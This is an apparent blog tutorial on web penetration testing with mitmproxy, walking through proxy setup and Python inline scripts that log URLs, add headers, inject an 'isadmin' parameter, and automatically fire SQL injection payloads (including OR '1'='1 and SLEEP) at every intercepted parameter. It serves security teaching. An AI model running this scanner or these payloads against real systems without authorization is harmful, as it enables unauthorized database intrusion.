July 28, 2026
Python Web Penetration Testing — Day 7: Intercepting HTTP Requests — Building Your Own Proxy
I spent years trusting what browsers showed me.
By Aman Sharma
6 min read
Then I built a proxy and saw what was really happening. Here's how to intercept, manipulate, and weaponize HTTP traffic like a pro.
The Hook: The Day I Realized Browsers Were Lying
I was deep into a penetration test, trying to understand how a complex web application worked. I had Burp Suite open, but I wasn't using it effectively. I was relying on what the browser showed me — the rendered HTML, the visible forms, the obvious parameters.
Then a senior pentester walked over, glanced at my screen, and said, "You're only seeing half the picture."
He opened Burp Suite's Intercept tab. "Watch this."
He submitted a form. The request appeared in Burp. He modified a hidden parameter that wasn't even visible in the browser, forwarded the request, and suddenly we were logged in as an administrator.
I was stunned. The browser had shown me a simple login form. But the proxy revealed a hidden field controlling user roles. I'd been blind to it because I was trusting the browser.
That day, I learned the most important lesson of my career: A proxy is your eyes into the application. Without it, you're flying blind.
Why This Matters
An HTTP proxy is the single most important tool in a web penetration tester's arsenal. Here's why:
- Visibility. You see every request and response — including hidden fields, cookies, and headers.
- Control. You can modify requests in real-time and see how the application responds.
- Automation. You can write scripts to automate testing, scan for vulnerabilities, and more.
- Debugging. You can understand exactly what's happening in the application.
The difference between a good pentester and a great one is understanding how to intercept and manipulate HTTP traffic.
What Is an HTTP Proxy?
An HTTP proxy is a server that acts as an intermediary between a client (like your browser) and a server (like a web application). There's no direct communication — the client connects to the proxy, the proxy fetches the resource from the server, and returns it to the client.
How it works:
Browser → Proxy → Server
Browser ← Proxy ← ServerBrowser → Proxy → Server
Browser ← Proxy ← ServerWhy Do We Need a Proxy?
For security testers, manipulation is the most important feature. You can intercept a request, change parameters, headers, or cookies, and see how the server responds.
Types of HTTP Proxies
As pentesters, we use forward proxies to intercept traffic between our browser and the target.
Introduction to mitmproxy
mitmproxy is an interactive console program that allows traffic flows to be intercepted, inspected, modified, and replayed.
Why mitmproxy?
- Written in Python — easy to extend
- Interactive console — fast and powerful
- SSL support out of the box — works with HTTPS
- Inline scripting — automate tasks with Python
Setting Up mitmproxy
First, let's install mitmproxy:
# Install via pip
pip install mitmproxy
# Or on Kali Linux
sudo apt-get install mitmproxy# Install via pip
pip install mitmproxy
# Or on Kali Linux
sudo apt-get install mitmproxyStarting mitmproxy
mitmproxymitmproxyWhat you'll see:
Welcome to mitmproxy!
The proxy is listening on 127.0.0.1:8080Welcome to mitmproxy!
The proxy is listening on 127.0.0.1:8080Mitmproxy is now listening on port 8080. To use it, you need to configure your browser to use localhost:8080 as an HTTP proxy.
Configuring Your Browser
Firefox:
- Preferences → Network Settings
- Manual proxy configuration
- HTTP Proxy: 127.0.0.1, Port: 8080
- Check "Use this proxy for all protocols"
Chrome:
- Open Chrome with the proxy flag:
google-chrome --proxy-server=127.0.0.1:8080google-chrome --proxy-server=127.0.0.1:8080Your First mitmproxy Session
- Start mitmproxy:
mitmproxy - Configure your browser to use localhost:8080
- Visit any website
- Watch the requests appear in mitmproxy
What you'll see:
2024-01-15 12:00:00 [200] GET https://www.scruffybank.com/
2024-01-15 12:00:01 [200] GET https://www.scruffybank.com/style.css
2024-01-15 12:00:02 [200] GET https://www.scruffybank.com/script.js2024-01-15 12:00:00 [200] GET https://www.scruffybank.com/
2024-01-15 12:00:01 [200] GET https://www.scruffybank.com/style.css
2024-01-15 12:00:02 [200] GET https://www.scruffybank.com/script.jsIntercepting and Modifying Requests
One of the most powerful features is request interception.
Step 1: Enable interception in mitmproxy
Press 'i' (intercept)Press 'i' (intercept)Step 2: Submit a form in your browser The request will pause in mitmproxy.
Step 3: Modify the request
Press 'e' (edit)
Navigate to the parameter you want to change
Press 'e' to edit its value
Press 'q' to go back
Press 'r' to replay the modified requestPress 'e' (edit)
Navigate to the parameter you want to change
Press 'e' to edit its value
Press 'q' to go back
Press 'r' to replay the modified requestStep 4: See the modified request in the logs
Building mitmproxy Inline Scripts
What Are Inline Scripts?
Inline scripts are Python scripts that run inside mitmproxy. They let you automate tasks, manipulate traffic, and build custom tools.
Event handlers in mitmproxy:
Script 1: Logging All URLs
Let's create a script to log all URLs that pass through the proxy.
# Save as mitm-log.py
import sys
def request(flow):
"""Called when a client request is received."""
url = flow.request.url
with open('httplogs.txt', 'a+') as f:
f.write(url + '\n')# Save as mitm-log.py
import sys
def request(flow):
"""Called when a client request is received."""
url = flow.request.url
with open('httplogs.txt', 'a+') as f:
f.write(url + '\n')Run the script:
mitmproxy -s mitm-log.pymitmproxy -s mitm-log.pyWhat it does:
- Every request that passes through the proxy is logged to
httplogs.txt - No modification — just logging
What you'll see in httplogs.txt:
https://www.scruffybank.com/
https://www.scruffybank.com/style.css
https://www.scruffybank.com/script.js
https://www.scruffybank.com/login.phphttps://www.scruffybank.com/
https://www.scruffybank.com/style.css
https://www.scruffybank.com/script.js
https://www.scruffybank.com/login.phpScript 2: Removing Duplicate URLs
Let's improve the script to avoid logging duplicates.
# Save as mitm-log-uniq.py
import sys
history = []
def request(flow):
global history
url = flow.request.url
if url not in history:
history.append(url)
with open('httplogs.txt', 'a+') as f:
f.write(url + '\n')# Save as mitm-log-uniq.py
import sys
history = []
def request(flow):
global history
url = flow.request.url
if url not in history:
history.append(url)
with open('httplogs.txt', 'a+') as f:
f.write(url + '\n')Script 3: Adding Custom Headers
Let's add a custom header to every request.
# Save as mitm-header.py
import sys
def request(flow):
"""Add a custom header to every request."""
flow.request.headers["X-Hacker"] = "Testing-123"# Save as mitm-header.py
import sys
def request(flow):
"""Add a custom header to every request."""
flow.request.headers["X-Hacker"] = "Testing-123"Run the script:
mitmproxy -s mitm-header.pymitmproxy -s mitm-header.pyScript 4: Changing Parameters
Let's add a parameter to every request.
# Save as mitm-param.py
import sys
def request(flow):
"""Add a parameter to every request."""
q = flow.request.get_query()
if q:
# Add a new parameter
q["isadmin"] = ["True"]
flow.request.set_query(q)# Save as mitm-param.py
import sys
def request(flow):
"""Add a parameter to every request."""
q = flow.request.get_query()
if q:
# Add a new parameter
q["isadmin"] = ["True"]
flow.request.set_query(q)Script 5: Automating SQL Injection Testing
This is where things get really interesting. Let's build a script that automatically tests every parameter for SQL injection.
python
# Save as mitm-sqli.py
import sys
import requests
from copy import deepcopy
errors = [
'mysql',
'error in your SQL',
'SQL syntax',
'You have an error in your SQL syntax'
]
injections = [
"'",
'"',
"')",
'")',
"'))",
'"))',
"' AND '1'='1",
"' AND '1'='2",
"' OR '1'='1",
"' AND SLEEP(5)--"
]
def test_sqli(url):
"""Test a URL for SQL injection."""
found = []
for injection in injections:
test_url = url.replace('FUZZ', injection)
try:
r = requests.get(test_url, timeout=10)
for error in errors:
if error.lower() in r.text.lower():
found.append({
'url': test_url,
'injection': injection,
'error': error
})
break
except requests.exceptions.RequestException:
pass
return found
def request(flow):
"""Intercept requests and test for SQL injection."""
url = flow.request.url
# Only test requests with parameters
if '?' in url:
# Extract base URL and parameters
base = url.split('?')[0]
# Test each parameter individually
q = flow.request.get_query()
if q:
for param in q.keys():
# Create a test URL with FUZZ placeholder
test_url = base + '?' + param + '=FUZZ'
for other_param, other_value in q.items():
if other_param != param:
test_url += '&' + other_param + '=' + other_value[0]
# Test for SQL injection
results = test_sqli(test_url)
if results:
with open('sqli_results.txt', 'a+') as f:
for result in results:
f.write(f"VULNERABLE: {result['url']}\n")
f.write(f" Injection: {result['injection']}\n")
f.write(f" Error: {result['error']}\n")
f.write("\n")
print(f"[!] SQL injection found: {test_url}")# Save as mitm-sqli.py
import sys
import requests
from copy import deepcopy
errors = [
'mysql',
'error in your SQL',
'SQL syntax',
'You have an error in your SQL syntax'
]
injections = [
"'",
'"',
"')",
'")',
"'))",
'"))',
"' AND '1'='1",
"' AND '1'='2",
"' OR '1'='1",
"' AND SLEEP(5)--"
]
def test_sqli(url):
"""Test a URL for SQL injection."""
found = []
for injection in injections:
test_url = url.replace('FUZZ', injection)
try:
r = requests.get(test_url, timeout=10)
for error in errors:
if error.lower() in r.text.lower():
found.append({
'url': test_url,
'injection': injection,
'error': error
})
break
except requests.exceptions.RequestException:
pass
return found
def request(flow):
"""Intercept requests and test for SQL injection."""
url = flow.request.url
# Only test requests with parameters
if '?' in url:
# Extract base URL and parameters
base = url.split('?')[0]
# Test each parameter individually
q = flow.request.get_query()
if q:
for param in q.keys():
# Create a test URL with FUZZ placeholder
test_url = base + '?' + param + '=FUZZ'
for other_param, other_value in q.items():
if other_param != param:
test_url += '&' + other_param + '=' + other_value[0]
# Test for SQL injection
results = test_sqli(test_url)
if results:
with open('sqli_results.txt', 'a+') as f:
for result in results:
f.write(f"VULNERABLE: {result['url']}\n")
f.write(f" Injection: {result['injection']}\n")
f.write(f" Error: {result['error']}\n")
f.write("\n")
print(f"[!] SQL injection found: {test_url}")Run the script:
mitmproxy -s mitm-sqli.pymitmproxy -s mitm-sqli.pyWhat this script does:
- Intercepts every request
- Extracts parameters
- Tests each parameter with SQL injection payloads
- Logs vulnerable URLs to
sqli_results.txt
The Hacker's Workflow with Proxies
Here's how I use proxies in real engagements:
- Configure the proxy — Set up mitmproxy (or Burp Suite) with your browser.
- Browse normally — Let the proxy capture all traffic.
- Review the requests — Look for interesting parameters, headers, and cookies.
- Test each input — Modify parameters, add headers, change cookies.
- Watch the responses — Look for errors, information disclosure, and access control issues.
- Automate common tests — Use inline scripts for SQLi, XSS, and other vulnerabilities.
- Document findings — Every vulnerability should be reproducible.
Pro tip: I always keep the proxy running during the entire test. You never know what you'll find.
you can check this article too…
Python Web Penetration Testing — Day 6: Detecting and Exploiting SQL Injection Vulnerabilities I spent weeks ignoring SQL injection
"Bug Bounty Bootcamp #35: SSRF — Turning the Server Into Your Personal Proxy to Hack Internal… Imagine if you could trick a web server into visiting internal websites, reading local files, and even scanning private…
"Day 7: API Hacking — How I Stole 5000 OAuth Tokens & Won $300" Last month, while testing a "secure" fintech app, I discovered an unprotected Firebase database leaking OAuth tokens…
Final Thoughts
The day I learned to use a proxy effectively was the day I stopped being a beginner. Suddenly, I wasn't just looking at web pages — I was seeing the raw conversations between browser and server. Hidden fields, custom headers, and unexpected parameters all became visible.
The proxy is your superpower. Use it to see what others don't. Modify what others can't. Automate what others won't.
Liked this guide? Smash that clap button 50 times (it's free therapy), drop a comment .
Your engagement keeps the chaos alive.
— Your friendly neighborhood account takeover artist 🕵️♂️💥